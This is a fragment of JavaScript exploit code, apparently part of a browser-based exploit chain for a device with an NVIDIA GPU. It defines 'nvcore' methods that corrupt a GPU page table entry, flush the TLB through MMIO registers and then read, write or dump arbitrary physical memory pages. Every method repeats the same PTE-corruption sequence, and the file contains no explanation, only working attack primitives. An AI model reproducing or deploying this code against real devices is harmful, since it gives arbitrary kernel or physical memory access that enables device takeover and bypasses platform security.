	if (typeof(addr) !== 'number') {
		addr = addr[0];
	}
	this.workBuf[0] = addr;
	this.workBuf[0] &= 0xFFFE0000;
	this.workBuf[1] = addr - this.workBuf[0];
	this.workBuf[0] /= 0x100;
	this.workBuf[0] |= 0x00000001;
	//utils.log('Corrupting PTE...'+this.workBuf[0].toString(16)+','+this.workBuf[2]);
	this.rw.write([this.workBuf[0], 1], this.pteAddr);
	//utils.log('Flushing TLB...');
	this.write4(0x80000001, utils.add2(this.gpuMMIO, 0x100cbc));
	//utils.log('Writing iovaVal');
	this.write4(this.iovaVal, this.pbusAddr);
	//utils.log('Writing VA low: '+this.workBuf[1].toString(16));
	this.write4(this.workBuf[1], this.vaLowAddr);
	//utils.log('Writing VA high');
	this.write4(this.gpuVaddr[1], this.vaHighAddr);
	//utils.log('About to read...');
	return this.read4(this.gpuRWAddr)[0];
}

nvcore.prototype.gpuRead = function(addr) {
	if (typeof(addr) !== 'number') {
		addr = addr[0];
	}
	this.workBuf[0] = addr;
	this.workBuf[0] &= 0xFFFE0000;
	this.workBuf[1] = addr - this.workBuf[0];
	this.workBuf[0] /= 0x100;
	this.workBuf[0] |= 0x00000001;
	//utils.log('Corrupting PTE...'+this.workBuf[0].toString(16)+','+this.workBuf[2]);
	this.rw.write([this.workBuf[0], 1], this.pteAddr);
	//utils.log('Flushing TLB...');
	this.write4(0x80000001, utils.add2(this.gpuMMIO, 0x100cbc));
	//utils.log('Writing iovaVal');
	this.write4(this.iovaVal, this.pbusAddr);
	//utils.log('Writing VA low: '+this.workBuf[1].toString(16));
	this.write4(this.workBuf[1], this.vaLowAddr);
	//utils.log('Writing VA high');
	this.write4(this.gpuVaddr[1], this.vaHighAddr);
	//utils.log('About to read...');
	return [this.read4(this.gpuRWAddr)[0], this.read4(this.gpuRWAddr)[0]];
}

nvcore.prototype.gpuDumpPage = function(addr) {
	if (typeof(addr) !== 'number') {
		addr = addr[0];
	}
	this.workBuf[0] = addr;
	this.workBuf[0] &= 0xFFFE0000;
	this.workBuf[1] = addr - this.workBuf[0];
	this.workBuf[0] /= 0x100;
	this.workBuf[0] |= 0x00000001;
	//utils.log('Corrupting PTE...'+this.workBuf[0].toString(16)+','+this.workBuf[2]);
	this.rw.write([this.workBuf[0], 1], this.pteAddr);
	//utils.log('Flushing TLB...');
	this.write4(0x80000001, utils.add2(this.gpuMMIO, 0x100cbc));
	//utils.log('Writing iovaVal');
	this.write4(this.iovaVal, this.pbusAddr);
	//utils.log('Writing VA low: '+this.workBuf[1].toString(16));
	this.write4(0, this.vaLowAddr);
	//utils.log('Writing VA high');
	this.write4(this.gpuVaddr[1], this.vaHighAddr);
	//utils.log('About to read...');
	var buf = new Uint32Array(0x20000 / 4);
	this.slowCall(0x280 + (11 * 4), [this.pageBuf, this.gpuRWAddr, 0x20000]);
	this.memcpyToBrowser(sc.getArrayBufferAddr(buf), this.pageBuf, 0x20000);
	return buf;
}
nvcore.prototype.gpuDumpPageToBuf = function(addr, buf, len) {
	if (typeof(addr) !== 'number') {
		addr = addr[0];
	}
	this.workBuf[0] = addr;
	this.workBuf[0] &= 0xFFFE0000;
	this.workBuf[1] = addr - this.workBuf[0];
	this.workBuf[0] /= 0x100;
	this.workBuf[0] |= 0x00000001;
	//utils.log('Corrupting PTE...'+this.workBuf[0].toString(16)+','+this.workBuf[2]);
	this.rw.write([this.workBuf[0], 1], this.pteAddr);
	//utils.log('Flushing TLB...');
	this.write4(0x80000001, utils.add2(this.gpuMMIO, 0x100cbc));
	//utils.log('Writing iovaVal');
	this.write4(this.iovaVal, this.pbusAddr);
	//utils.log('Writing VA low: '+this.workBuf[1].toString(16));
	this.write4(0, this.vaLowAddr);
	//utils.log('Writing VA high');
	this.write4(this.gpuVaddr[1], this.vaHighAddr);
	//utils.log('About to read...');
	this.slowCall(0x280 + (11 * 4), [this.pageBuf, this.gpuRWAddr, 0x20000]);
	this.memcpyToBrowser(buf, this.pageBuf, len);
}


nvcore.prototype.gpuWrite = function(val, addr) {
	if (typeof(addr) !== 'number') {
		addr = addr[0];
	}
	this.workBuf[0] = addr;
	this.workBuf[0] &= 0xFFFE0000;
	this.workBuf[1] = addr - this.workBuf[0];
	this.workBuf[0] /= 0x100;
	this.workBuf[0] |= 0x00000001;
	//utils.log('Corrupting PTE...'+this.workBuf[0].toString(16)+','+this.workBuf[2]);
	this.rw.write([this.workBuf[0], 1], this.pteAddr);
	//utils.log('Flushing TLB...');
	this.write4(0x80000001, utils.add2(this.gpuMMIO, 0x100cbc));
	//utils.log('Writing iovaVal');
	this.write4(this.iovaVal, this.pbusAddr);
	//utils.log('Writing VA low: '+this.workBuf[1].toString(16));
	this.write4(this.workBuf[1], this.vaLowAddr);
	//utils.log('Writing VA high');
	this.write4(this.gpuVaddr[1], this.vaHighAddr);
	//utils.log('About to read...');
	this.write4(val, this.gpuRWAddr);
}

nvcore.prototype.gpuWriteBuffer = function(addr, buf, len) {
	if (typeof(addr) !== 'number') {
		addr = addr[0];
	}
    if (ArrayBuffer.isView(buf) || buf instanceof ArrayBuffer) {
        var bufAddr = sc.getArrayBufferAddr(buf);
    } else {
        var bufAddr = buf;
    }	
    this.workBuf[0] = addr;
	this.workBuf[0] &= 0xFFFE0000;
	this.workBuf[1] = addr - this.workBuf[0];
	this.workBuf[0] /= 0x100;
	this.workBuf[0] |= 0x00000001;
	//utils.log('Corrupting PTE...'+this.workBuf[0].toString(16)+','+this.workBuf[2]);
	this.rw.write([this.workBuf[0], 1], this.pteAddr);
	//utils.log('Flushing TLB...');
	this.write4(0x80000001, utils.add2(this.gpuMMIO, 0x100cbc));
	//utils.log('Writing iovaVal');
	this.write4(this.iovaVal, this.pbusAddr);
	//utils.log('Writing VA low: '+this.workBuf[1].toString(16));
	this.write4(this.workBuf[1], this.vaLowAddr);
	//utils.log('Writing VA high');
	this.write4(this.gpuVaddr[1], this.vaHighAddr);
	//utils.log('About to read...');
    this.memcpyFromBrowser(this.pageBuf, bufAddr, len);
	this.slowCall(0x280, [this.gpuRWAddr, this.pageBuf, len]);
}